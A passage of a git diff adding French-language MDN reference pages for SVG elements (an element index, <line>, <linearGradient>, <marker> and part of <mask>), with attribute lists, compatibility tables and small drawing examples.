+<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feDropShadow")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p>
+
+<h3 id="Éléments_pour_polices_de_caractères">Éléments pour polices de caractères</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p>
+
+<h3 id="Éléments_de_dégradés">Éléments de dégradés</h3>
+
+<p>{{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p>
+
+<h3 id="Éléments_graphiques">Éléments graphiques</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Éléments_de_référencement_graphique">Éléments de référencement graphique</h3>
+
+<p>{{SVGElement("mesh")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Éléments_de_source_de_lumière">Éléments de source de lumière</h3>
+
+<p>{{ SVGElement("feDistantLight") }}, {{ SVGElement("fePointLight") }}, {{ SVGElement("feSpotLight") }}</p>
+
+<h3 id="Éléments_sans‑rendu">Éléments sans‑rendu</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("defs")}}, {{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("meshgradient")}}, {{SVGElement("metadata")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("symbol")}}, {{SVGElement("title")}}</p>
+
+<h3 id="Éléments_de_service_pour_peinture">Éléments de service pour peinture</h3>
+
+<p>{{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("solidcolor")}}</p>
+
+<h3 id="Éléments_avec_rendu">Éléments avec rendu</h3>
+
+<p>{{SVGElement("a")}}, {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("foreignObject")}}, {{SVGElement("g")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("text")}}, {{SVGElement("textPath")}}, {{SVGElement("tspan")}}, {{SVGElement("unknown")}}, {{SVGElement("use")}}</p>
+
+<h3 id="Éléments_de_formes">Éléments de formes</h3>
+
+<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
+
+<h3 id="Éléments_structurels">Éléments structurels</h3>
+
+<p>{{ SVGElement("defs") }}, {{ SVGElement("g") }}, {{ SVGElement("svg") }}, {{SVGElement("symbol") }}, {{ SVGElement("use") }}</p>
+
+<h3 id="Éléments_de_contenu_textuel">Éléments de contenu textuel</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
+
+<h3 id="Éléments_de_contenu_textuel_enfant">Éléments de contenu textuel enfant</h3>
+
+<p>{{ SVGElement("altGlyph") }}, {{ SVGElement("textPath") }}, {{ SVGElement("tref") }}, {{SVGElement("tspan") }}</p>
+
+<h3 id="Éléments_non_catégorisés">Éléments non catégorisés</h3>
+
+<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("hatchpath")}}, {{SVGElement("meshpatch")}}, {{SVGElement("meshrow")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}}</p>
+
+<h2 id="Élements_obsolètes_et_dépréciés">Élements obsolètes et dépréciés</h2>
+
+<div class="blockIndicator warning">
+<p>Les éléments ci-dessous sont dépréciés et ne doivent pas être utilisés. <strong>Vous ne devez absolument pas les utiliser dans des nouveux projets, et vous devez dans la mesure du possible les remplacer dans les vieux projets.</strong> Ils sont listés là uniquemnt à titre informatif.</p>
+</div>
+
+<h3 id="A_2">A</h3>
+
+<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("animateColor")}}</p>
+
+<h3 id="C_2">C</h3>
+
+<p>{{SVGElement("cursor")}}</p>
+
+<h3 id="F_2">F</h3>
+
+<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}</p>
+
+<h3 id="G_2">G</h3>
+
+<p>{{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}</p>
+
+<h3 id="H_2">H</h3>
+
+<p>{{SVGElement("hkern")}}</p>
+
+<h3 id="M_2">M</h3>
+
+<p>{{SVGElement("missing-glyph")}}</p>
+
+<h3 id="T_2">T</h3>
+
+<p>{{SVGElement("tref")}}</p>
+
+<h3 id="V_2">V</h3>
+
+<p>{{SVGElement("vkern")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute">Référence des attributs SVG</a></li>
+ <li><a href="/fr/docs/Web/SVG/Tutoriel">Tutoriel SVG</a></li>
+ <li><a href="/fr/docs/Web/API/Document_Object_Model#SVG_interfaces">Référence des interfaces avec SVG</a></li>
+</ul>
+
+<p>{{SVGRef}}</p>
diff --git a/files/fr/web/svg/element/line/index.html b/files/fr/web/svg/element/line/index.html
new file mode 100644
index 0000000000..851e87030b
--- /dev/null
+++ b/files/fr/web/svg/element/line/index.html
@@ -0,0 +1,118 @@
+---
+title: <line>
+slug: Web/SVG/Element/line
+tags:
+  - Element
+  - Graphisme
+  - Reference
+  - Référence(2)
+  - SVG
+  - Élément(2)
+translation_of: Web/SVG/Element/line
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <code>line</code> est un élément de la catégorie des formes simples SVG, utilisé pour créer une ligne connectant deux points.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>» <a href="https://developer.mozilla.org/files/3254/line.svg" title="https://developer.mozilla.org/files/3254/line.svg">line.svg</a></p>
+
+<p>Vous pouvez aussi appliquer une transformation pour avoir le même résultat. En commençant avec une ligne normale,</p>
+
+<p>» <a href="https://developer.mozilla.org/files/3345/line1.svg" title="https://developer.mozilla.org/files/3345/line1.svg">line1.svg</a></p>
+
+<p>ajoutez des options de transformation pour changer la direction de la ligne :</p>
+
+<p>» <a href="https://developer.mozilla.org/files/3346/line2.svg" title="https://developer.mozilla.org/files/3346/line2.svg">line2.svg</a></p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_traitement_conditionnel" title="en/SVG/Attribute#ConditionalProccessing">Attributs conditionnels</a> ;</li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base" title="en/SVG/Attribute#Core">Attributs centraux</a> ;</li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_d'.C3.A9v.C3.A9nement_graphique" title="en/SVG/Attribute#GraphicalEvent">Attributs d'événements graphiques</a> ;</li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_pr.C3.A9sentation" title="en/SVG/Attribute#Presentation">Attributs de présentation </a> ;</li>
+ <li>{{ SVGAttr("class") }} ;</li>
+ <li>{{ SVGAttr("style") }} ;</li>
+ <li>{{ SVGAttr("externalResourcesRequired") }} ;</li>
+ <li>{{ SVGAttr("transform") }}.</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{ SVGAttr("x1") }}</li>
+ <li>{{ SVGAttr("x2") }}</li>
+ <li>{{ SVGAttr("y1") }}</li>
+ <li>{{ SVGAttr("y2") }}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface <code><a href="/fr/DOM/SVGLineElement" title="en/DOM/SVGLineElement">SVGLineElement</a></code>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>IE</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop('1.8') }}</td>
+   <td>{{ CompatIE('9.0') }}</td>
+   <td>{{ CompatOpera('8.0') }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatAndroid('3.0') }}</td>
+   <td>{{ CompatGeckoMobile('1.8') }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatSafari('3.0.4') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Cette table est basée sur <a href="/fr/SVG/Compatibility_sources" title="en/SVG/Compatibility sources">ces ressources</a>.</p>
+
+<h2 id="Élément_connexes">Élément connexes</h2>
+
+<ul>
+ <li>{{ SVGElement("polygon") }} ;</li>
+ <li>{{ SVGElement("path") }}.</li>
+</ul>
diff --git a/files/fr/web/svg/element/lineargradient/index.html b/files/fr/web/svg/element/lineargradient/index.html
new file mode 100644
index 0000000000..360947e8e9
--- /dev/null
+++ b/files/fr/web/svg/element/lineargradient/index.html
@@ -0,0 +1,100 @@
+---
+title: <linearGradient>
+slug: Web/SVG/Element/linearGradient
+tags:
+  - Element
+  - Reference
+  - SVG
+  - SVG Gradient
+translation_of: Web/SVG/Element/linearGradient
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;linearGradient&gt;</code></strong> permet de définir des dégradés linéaires, qui pourront être utilisés comme remplissage ou contour des éléments SVG.</p>
+
+<h2 id="Contexte_d'utilisation">Contexte d'utilisation</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_base">Attributs de base</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_de_présentation">Attributs de présentation</a></li>
+ <li><a href="/fr/docs/Web/SVG/Attribute#Attributs_XLink">Attributs Xlink</a></li>
+ <li>{{SVGAttr("class")}}</li>
+ <li>{{SVGAttr("style")}}</li>
+ <li>{{SVGAttr("externalResourcesRequired")}}</li>
+</ul>
+
+<h3 id="Attributs_spécifiques">Attributs spécifiques</h3>
+
+<ul>
+ <li>{{SVGAttr("gradientUnits")}}</li>
+ <li>{{SVGAttr("gradientTransform")}}</li>
+ <li>{{SVGAttr("x1")}}</li>
+ <li>{{SVGAttr("y1")}}</li>
+ <li>{{SVGAttr("x2")}}</li>
+ <li>{{SVGAttr("y2")}}</li>
+ <li>{{SVGAttr("spreadMethod")}}</li>
+ <li>{{SVGAttr("xlink:href")}}</li>
+</ul>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implémente l'interface {{domxref("SVGLinearGradientElement")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: html">&lt;svg width="120" height="120" xmlns="http://www.w3.org/2000/svg"&gt;
+    &lt;defs&gt;
+        &lt;linearGradient id="MyGradient"&gt;
+            &lt;stop offset="5%"  stop-color="green"/&gt;
+            &lt;stop offset="95%" stop-color="gold"/&gt;
+        &lt;/linearGradient&gt;
+    &lt;/defs&gt;
+
+    &lt;rect fill="url(#MyGradient)"
+          x="10" y="10" width="100" height="100"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample("Exemple", 120, 120, "https://mdn.mozillademos.org/files/10061/svg-lineargradient.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'pservers.html#LinearGradientElement', '&lt;linearGradient&gt;')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'pservers.html#LinearGradients', '&lt;linearGradient&gt;')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.linearGradient")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("radialGradient")}}</li>
+ <li>{{SVGElement("stop")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/marker/index.html b/files/fr/web/svg/element/marker/index.html
new file mode 100644
index 0000000000..25c1cfeed0
--- /dev/null
+++ b/files/fr/web/svg/element/marker/index.html
@@ -0,0 +1,135 @@
+---
+title: <marker>
+slug: Web/SVG/Element/marker
+tags:
+  - SVG
+  - SVG Element
+translation_of: Web/SVG/Element/marker
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;marker&gt;</code></strong> définit un élément graphique qui pourra être utilisé pour dessiner des pointes de flèches ou des polymarqueurs sur un élément {{SVGElement("path")}}, {{SVGElement("line")}}, {{SVGElement("polyline")}} ou {{SVGElement("polygon")}}.</p>
+
+<p>Les marqueurs sont attachés aux formes à l'aide des propriétés {{SVGAttr("marker-start")}}, {{SVGAttr("marker-mid")}}, et {{SVGAttr("marker-end")}}.</p>
+
+<div id="Exemple">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;!-- Définit une pointe de flèche --&gt;
+    &lt;marker id="arrow" viewBox="0 0 10 10" refX="5" refY="5"
+        markerWidth="6" markerHeight="6"
+        orient="auto-start-reverse"&gt;
+      &lt;path d="M 0 0 L 10 5 L 0 10 z" /&gt;
+    &lt;/marker&gt;
+
+    &lt;!-- Définit un simple point --&gt;
+    &lt;marker id="dot" viewBox="0 0 10 10" refX="5" refY="5"
+        markerWidth="5" markerHeight="5"&gt;
+      &lt;circle cx="5" cy="5" r="5" fill="red" /&gt;
+    &lt;/marker&gt;
+  &lt;/defs&gt;
+
+  &lt;!-- Dessine les axes des coordonnées avec des pointes de flèche à chaque bout --&gt;
+  &lt;polyline points="10,10 10,90 90,90" fill="none" stroke="black"
+   marker-start="url(#arrow)" marker-end="url(#arrow)"  /&gt;
+
+  &lt;!-- Dessine une ligne avec un simple point entre chaque segment --&gt;
+  &lt;polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey"
+   marker-start="url(#dot)" marker-mid="url(#dot)"  marker-end="url(#dot)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Exemple', 200, 200)}}</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt>{{SVGAttr("markerHeight")}}</dt>
+ <dd>Définit la hauteur du viewport du marqueur.<br>
+ <small><em>Valeur</em>: <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> ; <em>Valeur par défaut</em>: <code>3</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("markerUnits")}}</dt>
+ <dd>Définit le système de coordnnées pour les attributs <code>markerWidth</code>, <code>markerHeight</code> et le contenu du <code>&lt;marker&gt;</code>.<br>
+ <small><em>Valeur</em>: <code>userSpaceOnUse</code>|<code>strokeWidth</code> ; <em>Valeur par défaut</em>: <code>strokeWidth</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("markerWidth")}}</dt>
+ <dd>Définit la largeur du viewport du marqueur.<br>
+ <small><em>Valeur</em>: <strong><a href="/docs/Web/SVG/Content_type#Length">&lt;length&gt;</a></strong> ; <em>Valeur par défaut</em>: <code>3</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("orient")}}</dt>
+ <dd>Définit l'orientation du marqueur relativement à la forme à laquelle il est attaché.<br>
+ <small><em>Valeur</em>: <code>auto</code>|<code>auto-start-reverse</code>|<strong><a href="/docs/Web/SVG/Content_type#Angle">&lt;angle&gt;</a></strong> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("preserveAspectRatio")}}</dt>
+ <dd>Définit comment le fragment svg doit être déformé s'il est incorporé dans un conteneur avec un rapport hauteur:largeur différent de celui du marqueur.<br>
+ <small><em>Valeur</em>: (<code>none</code>| <code>xMinYMin</code>| <code>xMidYMin</code>| <code>xMaxYMin</code>| <code>xMinYMid</code>| <code>xMidYMid</code>| <code>xMaxYMid</code>| <code>xMinYMax</code>| <code>xMidYMax</code>| <code>xMaxYMax</code>) (<code>meet</code>|<code>slice</code>)? ; <em>Valeur par défaut</em>: <code>xMidYMid meet</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("refX")}}</dt>
+ <dd>Définit la coordonnées x du point de référence du marqueur.<br>
+ <small><em>Valeur</em>: <code>left</code>|<code>center</code>|<code>right</code>|<strong><a href="/docs/Web/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></strong> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("refY")}}</dt>
+ <dd>Définit la coordonnées y du point de référence du marqueur.<br>
+ <small><em>Valeur</em>: <code>top</code>|<code>center</code>|<code>bottom</code>|<strong><a href="/docs/Web/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></strong> ; <em>Valeur par défaut</em>: <code>0</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("viewBox")}}</dt>
+ <dd>Définit la limite de la zone de dessin pour le fragment SVG.<br>
+ <small><em>Valeur</em>: <strong><a href="/docs/Web/SVG/Content_type#List-of-Ts">&lt;list-of-numbers&gt;</a></strong> ; <em>Valeur par défaut</em>: none; <em>Animation</em>: <strong>oui</strong></small></dd>
+</dl>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Core">Attributs de base</a></dt>
+ <dd><small>Notamment: {{SVGAttr('id')}}, {{SVGAttr('tabindex')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Styling">Attributs de style</a></dt>
+ <dd><small>{{SVGAttr('class')}}, {{SVGAttr('style')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Conditional_Processing">Attributs de traitement conditionnel</a></dt>
+ <dd><small>Notamment: {{SVGAttr('requiredExtensions')}}, {{SVGAttr('systemLanguage')}}</small></dd>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Presentation">Attributs de présentation</a></dt>
+ <dd><small>Notamment: {{SVGAttr('clip-path')}}, {{SVGAttr('clip-rule')}}, {{SVGAttr('color')}}, {{SVGAttr('color-interpolation')}}, {{SVGAttr('color-rendering')}}, {{SVGAttr('cursor')}}, {{SVGAttr('display')}}, {{SVGAttr('fill')}}, {{SVGAttr('fill-opacity')}}, {{SVGAttr('fill-rule')}}, {{SVGAttr('filter')}}, {{SVGAttr('mask')}}, {{SVGAttr('opacity')}}, {{SVGAttr('pointer-events')}}, {{SVGAttr('shape-rendering')}}, {{SVGAttr('stroke')}}, {{SVGAttr('stroke-dasharray')}}, {{SVGAttr('stroke-dashoffset')}}, {{SVGAttr('stroke-linecap')}}, {{SVGAttr('stroke-linejoin')}}, {{SVGAttr('stroke-miterlimit')}}, {{SVGAttr('stroke-opacity')}}, {{SVGAttr('stroke-width')}}, {{SVGAttr("transform")}}, {{SVGAttr('vector-effect')}}, {{SVGAttr('visibility')}}</small></dd>
+ <dt>Attributs ARIA</dt>
+ <dd><small><code>aria-activedescendant</code>, <code>aria-atomic</code>, <code>aria-autocomplete</code>, <code>aria-busy</code>, <code>aria-checked</code>, <code>aria-colcount</code>, <code>aria-colindex</code>, <code>aria-colspan</code>, <code>aria-controls</code>, <code>aria-current</code>, <code>aria-describedby</code>, <code>aria-details</code>, <code>aria-disabled</code>, <code>aria-dropeffect</code>, <code>aria-errormessage</code>, <code>aria-expanded</code>, <code>aria-flowto</code>, <code>aria-grabbed</code>, <code>aria-haspopup</code>, <code>aria-hidden</code>, <code>aria-invalid</code>, <code>aria-keyshortcuts</code>, <code>aria-label</code>, <code>aria-labelledby</code>, <code>aria-level</code>, <code>aria-live</code>, <code>aria-modal</code>, <code>aria-multiline</code>, <code>aria-multiselectable</code>, <code>aria-orientation</code>, <code>aria-owns</code>, <code>aria-placeholder</code>, <code>aria-posinset</code>, <code>aria-pressed</code>, <code>aria-readonly</code>, <code>aria-relevant</code>, <code>aria-required</code>, <code>aria-roledescription</code>, <code>aria-rowcount</code>, <code>aria-rowindex</code>, <code>aria-rowspan</code>, <code>aria-selected</code>, <code>aria-setsize</code>, <code>aria-sort</code>, <code>aria-valuemax</code>, <code>aria-valuemin</code>, <code>aria-valuenow</code>, <code>aria-valuetext</code>, <code>role</code></small></dd>
+</dl>
+
+<h2 id="Notes_d'usage">Notes d'usage</h2>
+
+<p>{{svginfo}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Sp"cification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG Markers", "#MarkerElement", "&lt;marker&gt;")}}</td>
+   <td>{{Spec2("SVG Markers")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#MarkerElement", "&lt;marker&gt;")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "painting.html#MarkerElement", "&lt;marker&gt;")}}</td>
+   <td>{{Spec2("SVG1.1")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("svg.elements.marker")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Propriétés liées aux marqueurs: {{SVGAttr("marker-start")}}, {{SVGAttr("marker-mid")}}, et {{SVGAttr("marker-end")}}</li>
+</ul>
diff --git a/files/fr/web/svg/element/mask/index.html b/files/fr/web/svg/element/mask/index.html
new file mode 100644
index 0000000000..4d313277fa
--- /dev/null
+++ b/files/fr/web/svg/element/mask/index.html
@@ -0,0 +1,116 @@
+---
+title: <mask>
+slug: Web/SVG/Element/mask
+tags:
+  - Element
+  - Masque
+  - NeedsCompatTable
+  - SVG
+  - SVG Container
+translation_of: Web/SVG/Element/mask
+---
+<div>{{SVGRef}}</div>
+
+<p>L'élément <strong><code>&lt;mask&gt;</code></strong> définit un masque alpha. Ce masque peut par la suite être appliqué sur une forme en utilisant la propriété {{SVGAttr("mask")}}.</p>
+
+<p>Le masque permet de rendre des zones de l'élément sur lequel est appliqué (semi-)transparentes. On peut par exemple créer un effet de fondu en utilisant un dégradé, ce que le détourage ({{SVGElement('clipPath')}}) ne permet pas.</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="-10 -10 120 120"&gt;
+  &lt;mask id="myMask"&gt;
+    &lt;!-- Tous les pixels blancs sont visibles --&gt;
+    &lt;rect x="0" y="0" width="100" height="100" fill="white" /&gt;
+
+    &lt;!-- Tous les pixels noirs sont invisibles --&gt;
+    &lt;path d="M10,35 A20,20,0,0,1,50,35 A20,20,0,0,1,90,35 Q90,65,50,95 Q10,65,10,35 Z" fill="black" /&gt;
+  &lt;/mask&gt;
+
+  &lt;polygon points="-10,110 110,110 110,-10" fill="orange" /&gt;
+
+  &lt;!-- Avec ce masque, on "perfore" un trou en forme de coeur à l'intérieur du cercle --&gt;
+  &lt;circle cx="50" cy="50" r="50" mask="url(#myMask)" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', 100, 100)}}</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<dl>
+ <dt id="attr-cx">{{SVGAttr("height")}}</dt>
+ <dd>Définit la hauteur du masque.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a> ; Valeur par défaut: <code>120%</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("maskContentUnits")}}</dt>
+ <dd>Définit le système de coordonnées pour le contenu du <code>&lt;mask&gt;</code>.<br>
+ <small><em>Valeur</em>: <code>userSpaceOnUse</code>|<code>objectBoundingBox</code> ; <em>Valeur par défaut</em>: <code>userSpaceOnUse</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt>{{SVGAttr("maskUnits")}}</dt>
+ <dd>Définit le système de coordonnées pour les attributs {{SVGAttr("x")}}, {{SVGAttr("y")}}, {{SVGAttr("width")}} et {{SVGAttr("height")}} du <code>&lt;mask&gt;</code>.<br>
+ <small><em>Valeur</em>: <code>userSpaceOnUse</code>|<code>objectBoundingBox</code> ; <em>Valeur par défaut</em>: <code>objectBoundingBox</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt id="attr-cx">{{SVGAttr("x")}}</dt>
+ <dd>Définit la coordonnée de l'axe x du coin supérieur gauche du masque.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Coordinate"><strong>&lt;coordinate&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>-10%</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt id="attr-cx">{{SVGAttr("y")}}</dt>
+ <dd>Définit la coordonnée de l'axe y du coin supérieur gauche du masque.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Coordinate"><strong>&lt;coordinate&gt;</strong></a> ; <em>Valeur par défaut</em>: <code>-10%</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+ <dt id="attr-cx">{{SVGAttr("width")}}</dt>
+ <dd>Définit la largeur du masque.<br>
+ <small><em>Valeur</em>: <a href="/docs/Web/SVG/Content_type#Length"><strong>&lt;length&gt;</strong></a> ; Valeur par défaut: <code>120%</code>; <em>Animation</em>: <strong>oui</strong></small></dd>
+</dl>
+
+<h3 id="Attributs_globaux">Attributs globaux</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/SVG/Attribute/Core">Attributs de base</a></dt>
+ <dd><small>Notamment: {{SVGAttr('id')}}</small></dd>
